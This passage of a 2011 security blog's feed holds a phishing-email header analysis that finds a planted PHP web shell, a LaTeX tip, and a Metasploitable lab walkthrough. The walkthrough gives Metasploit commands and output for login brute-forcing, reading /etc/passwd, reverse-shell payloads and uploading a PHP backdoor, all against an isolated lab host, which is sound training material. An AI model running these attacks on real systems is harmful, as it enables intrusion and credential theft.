[72.52.199.90]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Authentication-Results: mail.me.com &amp;nbsp;from=westpac.com.au; domainkeys=neutral (no sig); &amp;nbsp;from=westpac.com.au; dkim=neutral (no sig)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Received: from 127.0.0.1 &amp;nbsp;(EHLO server22.01domain.net) (72.52.199.90)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&amp;nbsp; by mail.me.com with SMTP; Mon, 12 Sep 2011 17:35:42 -0700&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Received: from nobody by server22.01domain.net with local (Exim 4.69)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;(envelope-from &lt;nobody@server22.01domain.net&gt;)&lt;/nobody@server22.01domain.net&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;id 1R3GyS-0001kr-68&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for me@me.com; Mon, 12 Sep 2011 20:35:40 -0400&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;To: me@me.com&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Subject: [Bulk] Westpac Notice&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-PHP-Script: proteinat.com/store/images/tmp/z.php for 41.184.112.91&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;From: &amp;nbsp;&lt;notice@westpac.com.au&gt;&lt;/notice@westpac.com.au&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Reply-To:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;MIME-Version: 1.0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Content-Type: text/html&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Content-Transfer-Encoding: 8bit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Message-Id: &lt;e1r3gys-0001kr-68@server22.01domain.net&gt;&lt;/e1r3gys-0001kr-68@server22.01domain.net&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Date: Mon, 12 Sep 2011 20:35:40 -0400&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-AntiAbuse: This header was added to track abuse, please include it with any abuse report&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-AntiAbuse: Primary Hostname - server22.01domain.net&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-AntiAbuse: Original Domain - me.com&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-AntiAbuse: Sender Address Domain - server22.01domain.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Firstly, the originating IP did not match the server in the URL. Next the X-PHP-Script header gave an interesting clue, a copy and paste revealed another downed script, but this time the response from the server was more promising, a quick fuzz and I found "http://proteinat.com/store/images/cookie_load.php"&lt;br /&gt;&lt;br /&gt;Which is a PHP shell called Web Shell by oRb or WSO. The running version was 2.5 which was released in June of 2011. The attacker must have exploited PHP and uploaded the file. The PHP shell allows for a console which is useful for work, e.g. creating a backdoor, as well as running exploits to escalate privileges to get root access. I have not had the chance to investigate further, but it would be interesting to determine how the hacker got in in the first place.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5605563587964757510?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5605563587964757510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/spam-westpac-notice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5605563587964757510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5605563587964757510'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/spam-westpac-notice.html' title='SPAM - Westpac Notice'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-wYQk21YJE_c/TnDHLmT-LiI/AAAAAAAAAFI/S_8s_NuHTdU/s72-c/spam.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-1033314187822937842</id><published>2011-09-06T10:52:00.001+10:00</published><updated>2011-10-17T09:52:19.672+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pdflatex'/><category scheme='http://www.blogger.com/atom/ns#' term='texlive publishers'/><category scheme='http://www.blogger.com/atom/ns#' term='OS X'/><category scheme='http://www.blogger.com/atom/ns#' term='mac os x'/><category scheme='http://www.blogger.com/atom/ns#' term='Mac'/><category scheme='http://www.blogger.com/atom/ns#' term='texlive'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEETrans'/><category scheme='http://www.blogger.com/atom/ns#' term='LaTeX'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>IEEETrans on Mac OS X with texlive</title><content type='html'>While compiling a journal paper, I got the following error message "I couldn't open style file IEEEtran.bst" &lt;br /&gt;&lt;br /&gt;The IEEETrans TeX distribution can be manullay installed by using the packages from &lt;a href="http://www.ctan.org/tex-archive/macros/latex/contrib/IEEEtran/"&gt;CTAN&lt;/a&gt; &lt;span style="font-size: xx-small;"&gt;[1]&lt;/span&gt; or&amp;nbsp; &lt;a href="http://www.ieee.org/portal/cms_docs/pubs/transactions"&gt;IEEE&lt;/a&gt; &lt;span style="font-size: xx-small;"&gt;[2]&lt;/span&gt;. However since I use macports, I just had to;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo port install texlive-publishers&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;http://www.ctan.org/tex-archive/macros/latex/contrib/IEEEtran/&lt;/li&gt;&lt;li&gt;http://www.ieee.org/portal/cms_docs/pubs/transactions&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-1033314187822937842?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/1033314187822937842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/ieeetrans-on-mac-os-x-with-texlive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1033314187822937842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1033314187822937842'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/ieeetrans-on-mac-os-x-with-texlive.html' title='IEEETrans on Mac OS X with texlive'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-2019499035673712924</id><published>2011-09-03T10:54:00.000+10:00</published><updated>2011-09-12T11:52:19.596+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reverse shell'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='php shell'/><category scheme='http://www.blogger.com/atom/ns#' term='vbox'/><category scheme='http://www.blogger.com/atom/ns#' term='compromise'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualbox'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='msfconsole'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='backtrack'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploitable'/><category scheme='http://www.blogger.com/atom/ns#' term='back door'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Metasploitable walkthrough</title><content type='html'>&lt;u&gt;&lt;b&gt;Note:&lt;/b&gt; this post will be updated when I have more time&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;I am sure there are plenty of metasploitable walkthroughs available, but I thought I'd chuck one up here anyway... Firstly download and unzip the metasploitable VMware image. I use virtual-box, and it works just as well. I ran my metasploitable image and BackTrack in host-only mode, so I had an isolated network to play in without damaging anything else.&lt;br /&gt;&lt;br /&gt;For some of the brute force attacks you will need a wordlist of potential usernames and passwords. There are several free wordlists available. Kevin's Wordlist Page &lt;span style="font-size: xx-small;"&gt;[2]&lt;/span&gt; is quite good. The generated wordlist should be sufficient for most attacks save for ones with rigorous password complexities enforced.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note&lt;/b&gt;: Since this is just a demonstration/walk through, the attempts herein to circumvent the security of the host have not been throttled down to prevent detection, in fact the scans, and exploits run may be considered extremely noisy.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Discovery&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Find the IP address of the metasploitable host&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: inherit; font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;nmap -sn -n -T1 192.168.56.0/24&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;I&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;n this case the host IP&lt;/span&gt; was 192.168.56.101&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Scan the metasploitable host to find the OS and services running on it&amp;nbsp;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit; font-size: small;"&gt;nmap -n -v -A -O -T1 -sS -sV 192.168.56.101&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;The following services were identified; &lt;/span&gt;&lt;/span&gt;21 running ProFTPD 1.3.1, 22 running OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0), 23 running Linux telnetd, 25 running Postfix smtpd, 53 running ISC BIND 9.4.2, 80 running Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch), 139 running Samba smbd 3.X (workgroup: WORKGROUP), 445 running Samba smbd 3.X (workgroup: WORKGROUP), 3306 running MySQL 5.0.51a-3ubuntu5, 5432 running PostgreSQL DB 8.3.0 - 8.3.7, 8009 running Apache Jserv (Protocol v1.3), 8180 running Apache Tomcat/Coyote JSP engine 1.1 on Host:&amp;nbsp; metasploitable.localdomain; OSs: Unix, Linux&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Search the exploit DB to see if any exploits exist, and run the metasploit exploit. I have discussed these in detail below. In a majority of cases the exploits already exist in metasploit and is just a matter of selecting the correct one and specifying the correct options and parameters to them.&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;MySQL&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The version accoring to the nmap scan was MySQL 5.0.51a-3ubuntu5&lt;/li&gt;&lt;li&gt;http://www.exploit-db.com/search/?action=search&amp;amp;filter_page=1&amp;amp;filter_description=mysql&lt;/li&gt;&lt;li&gt;Brute force the login&lt;/li&gt;&lt;ul&gt;&lt;li&gt;search mysql&lt;/li&gt;&lt;li&gt;use auxiliary/scanner/mysql/mysql_login&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set THREADS 1000 &lt;i&gt;# adding the brute in brute force&lt;/i&gt;&lt;/li&gt;&lt;li&gt;set RHOST 192.168.56.101&lt;/li&gt;&lt;li&gt;set USERPASS_FILE /opt/msf3/demo-wordlist.txt&lt;/li&gt;&lt;li&gt;set STOP_ON_SUCCESS true&lt;/li&gt;&lt;li&gt;run&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;[+] 192.168.56.101:3306 - SUCCESSFUL LOGIN &lt;b&gt;'root' : 'root'&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Install a mysql client locally and use the credentials to connect to the remote server and get a dump of the DB or run SQL queries, or another scanner to get the contents of /etc/passwd file to identify accounts that have shell access&lt;/li&gt;&lt;ul&gt;&lt;li&gt;back&lt;/li&gt;&lt;li&gt; use auxiliary/admin/mysql/mysql_sql&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set USERNAME root &lt;/li&gt;&lt;li&gt;set PASSWORD root&lt;/li&gt;&lt;li&gt;set RHOST 192.168.56.101&lt;/li&gt;&lt;li&gt;set SQL select load_file(\'/etc/passwd\')&lt;/li&gt;&lt;li&gt;run&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;You should now have the contents of the /etc/password file&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;TikiWiki&lt;/u&gt; &lt;br /&gt;Using the credentials found using the brute force method above, we can connect using the mysql client, e.g. mysql -u root -p -h 192.168.56.101&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Check the databases installed&lt;/li&gt;&lt;ul&gt;&lt;li&gt;show databases;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Returns the names of the databases, information_schema, mysql, tikiwiki, and tikiwiki195. Guessing from the name, it appears to be a database for a wiki application. A quick google search (http://info.tiki.org/Tiki+Wiki+CMS+Groupware) confirms this. This too is vulnerable and metasploit exploits exist.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;back&lt;/li&gt;&lt;li&gt;use exploit/unix/webapp/tikiwiki_graph_formula_exec&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set RHOST 192.168.56.101&lt;/li&gt;&lt;li&gt;set PAYLOAD php/meterpreter/reverse_tcp&lt;/li&gt;&lt;li&gt;set LHOST 192.168.56.1&lt;/li&gt;&lt;li&gt;exploit&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;This returns the username and password used with the wiki CMS and the meterpreter interface. The meterpreter console is very powerful and extremely useful in futher analysis of the host. We may come back to the meterpreter console.&lt;/li&gt;&lt;li&gt;The good thing about wiki's and CMS's in general is the ability to load files onto the server. Unfortunately there are two tikiwiki databases in use. Fortunately both have the same details in their users_users table, i.e. username and password of admin and admin respectively.&lt;/li&gt;&lt;li&gt;There is a requirement for uploading files to the compromised machine for easier access later, i.e. a back door, refer below &lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[3-4]&lt;/span&gt;. We can test the upload of a backup by creating a simple file e.g. phpinfo.php with phpinfo(); in it, and then uploading it via the backup upload and then navigating to "http://192.168.56.101/tikiwiki/backups/phpinfo.php". If you see the PHP info page, then the uploads work great and backup PHP files are interpreted by the server.&lt;/li&gt;&lt;li&gt;Now download a PHP shell and upload it for a shell backdoor. Here's a list of potential PHP shells;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://phpshell.sourceforge.net/"&gt;http://phpshell.sourceforge.net/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/projects/phpterm/"&gt;http://sourceforge.net/projects/phpterm/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://jan.kneschke.de/projects/php-shell/"&gt;http://jan.kneschke.de/projects/php-shell/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.phpsh.org/"&gt;http://www.phpsh.org/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;u&gt;Mysql Users&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Again using the MySQL credentials, we can query the user table in the mysql database using the mysql client.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;mysql -u root -proot -h 192.168.56.101&lt;/li&gt;&lt;li&gt;use mysql&lt;/li&gt;&lt;li&gt;SELECT host, user, password FROM user;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;We are presented with additional users debian-sys-maint and the 41-byte hash values (*E07F0A7CCC0044345116513C989F45663C1F8347) of their password.&lt;/li&gt;&lt;li&gt;I tried running john the ripper on this to see if I could crack the password, it was taking too long so I gave up. However you may have better luck, esp. with rainbow tables, etc.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;The username and password hash were saved in a file e.g. mysql.txt in the following format; username:password, i.e. debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347&lt;/li&gt;&lt;li&gt;john --format=mysql-sha1 mysql.txt&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;We could have also copied the hash from the root account to the other accounts as we already know the root password, but the idea is to remain undetected&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;Apache&lt;/u&gt;&lt;br /&gt;Port 80 has a web server running, we can connect using a browser to confirm and get a "It works!" page. To confirm the structure of the web directories we can use a fuzzer such as OWASP's DirBuster.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The initial scans should confirm the tikiwiki CMS in it's structure.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;SSH&lt;/u&gt;&lt;br /&gt;Based on the contents of the /etc/password file, we can not tweak our usernames file before trying to brute force an SSH connection. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;Brute force the SSH connection, inline other attempts we don't want to stop at the first one, but get all SSH login details, &lt;b&gt;Note&lt;/b&gt;: for this walkthrough example below, I have just used the same file, but you should specify a different user file based on the content of /etc/passwd and password file to speed things up&lt;/li&gt;&lt;ul&gt;&lt;li&gt; back&lt;/li&gt;&lt;li&gt;use auxiliary/scanner/ssh/ssh_login&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set RHOSTS 192.168.56.101&lt;/li&gt;&lt;li&gt;set THREADS 1000&lt;/li&gt;&lt;li&gt;set USERPASS_FILE /opt/msf3/demo-wordlist.txt&lt;/li&gt;&lt;li&gt;set STOP_ON_SUCCESS false&lt;/li&gt;&lt;li&gt;run&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;[+] 192.168.56.101:22 SSH - [23/30] - Success:&lt;b&gt; 'user':'user' &lt;/b&gt;'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' &lt;/li&gt;&lt;li&gt;[+] 192.168.56.101:22 SSH - [28/30] - Success: &lt;b&gt;'msfadmin':'msfadmin' &lt;/b&gt;'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' &lt;/li&gt;&lt;li&gt;[+] 192.168.56.101:22 SSH - [29/30] - Success: &lt;b&gt;'service':'service'&lt;/b&gt; 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' &lt;/li&gt;&lt;li&gt;[+] 192.168.56.101:22 SSH - [30/30] - Success: &lt;b&gt;'postgres':'postgres'&lt;/b&gt; 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/li&gt;&lt;li&gt;Now we have shell access based on a number of logins&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;Tomcat&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Brute force the management login&lt;/li&gt;&lt;ul&gt;&lt;li&gt;back &lt;/li&gt;&lt;li&gt;use auxiliary/scanner/http/tomcat_mgr_login&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set RHOSTS 192.168.56.101&lt;/li&gt;&lt;li&gt;set RPORT 8180&lt;/li&gt;&lt;li&gt;exploit&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;[+] http://192.168.56.101:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login &lt;b&gt;'tomcat' : 'tomcat'&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Get shell, by exploit the host, using the weak scanned password to deploy a payload&lt;/li&gt;&lt;ul&gt;&lt;li&gt;back &lt;/li&gt;&lt;li&gt;use exploit/multi/http/tomcat_mgr_deploy&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set USERNAME tomcat&lt;/li&gt;&lt;li&gt;set PASSWORD tomcat&lt;/li&gt;&lt;li&gt;set RPORT 8180&lt;/li&gt;&lt;li&gt;set PAYLOAD linux/x86/shell_reverse_tcp&lt;/li&gt;&lt;li&gt;set STOP_ON_SUCCESS true &lt;/li&gt;&lt;li&gt;exploit&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Should have shell now!&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;DistCC&lt;/u&gt;&lt;br /&gt;This was discovered on a subsequent port scan using different paramters. Am not quote sure what it is, but there is an exploit in metasploit, and Wikipedia documentation indicated it's some sort of distributed compile for C and C++.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The number of payloads are limited for this exploit, but still allow remote shell access &lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li&gt; back&lt;/li&gt;&lt;li&gt;search distcc&lt;/li&gt;&lt;li&gt;use exploit/unix/misc/distcc_exec&lt;/li&gt;&lt;li&gt;show options&lt;/li&gt;&lt;li&gt;set RHOST 192.168.56.101&lt;/li&gt;&lt;li&gt;set PAYLOAD cmd/unix/reverse&lt;/li&gt;&lt;li&gt;set LHOST 192.168.56.1&lt;/li&gt;&lt;li&gt;exploit&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol&gt;&lt;/ol&gt;&lt;u&gt;Files&lt;/u&gt;&lt;br /&gt;Here's a list of interesting files I found on the system, I hope to add more detailed descriptions and discuss their contents once I have the opportunity to investigate further.&lt;u&gt; &lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;/root/reset_logs.sh&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;Requirements:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Metasploit &amp;nbsp;(I used Backtrack5)&lt;/li&gt;&lt;li&gt;nmap&lt;/li&gt;&lt;li&gt;Metasploitable&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;u&gt;&lt;a href="http://www.exploit-db.com/"&gt;http://www.exploit-db.com&lt;/a&gt;&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;http://wordlist.sourceforge.net/&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;&lt;a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/"&gt;http://www.gnucitizen.org/blog/reverse-shell-with-bash/&lt;/a&gt;&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.plenz.com/reverseshell"&gt;http://www.plenz.com/reverseshell&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-2019499035673712924?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/2019499035673712924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/metasploitable-walkthrough.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2019499035673712924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2019499035673712924'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/metasploitable-walkthrough.html' title='Metasploitable walkthrough'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6354947277871140436</id><published>2011-09-02T16:08:00.000+10:00</published><updated>2011-09-07T10:57:55.368+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploitable'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='qut'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf'/><category scheme='http://www.blogger.com/atom/ns#' term='isi'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='presentation'/><category scheme='http://www.blogger.com/atom/ns#' term='lab'/><title type='text'>Metasploit presentation for CTF</title><content type='html'>We had a CTF training at the labs today, where I tried to present a brief introduction to metasploit. I seriously doubt I did the tool any justice, but a colleage has requested a copy of the sides as a PDF document. I have uploaded the slides to &lt;a href="http://www.kush.com.fj/resources/metasploit-presentation.pdf"&gt;http://www.kush.com.fj/resources/metasploit-presentation.pdf&lt;/a&gt;. The presentation was mostly a demo using metasploitable. &lt;strike&gt;Perhaps in future there may be an opportunity to do a complete walk through of the metasploitable image posted here. I started&lt;/strike&gt; I started work on a metasploit walkthrough, its still incomplete but its a star. You can find the walk through here &lt;a href="http://nkush.blogspot.com/2011/09/metasploitable-walkthrough.html"&gt;http://nkush.blogspot.com/2011/09/metasploitable-walkthrough.html&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-6354947277871140436?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/6354947277871140436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/metasploit-presentation-for-ctf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' 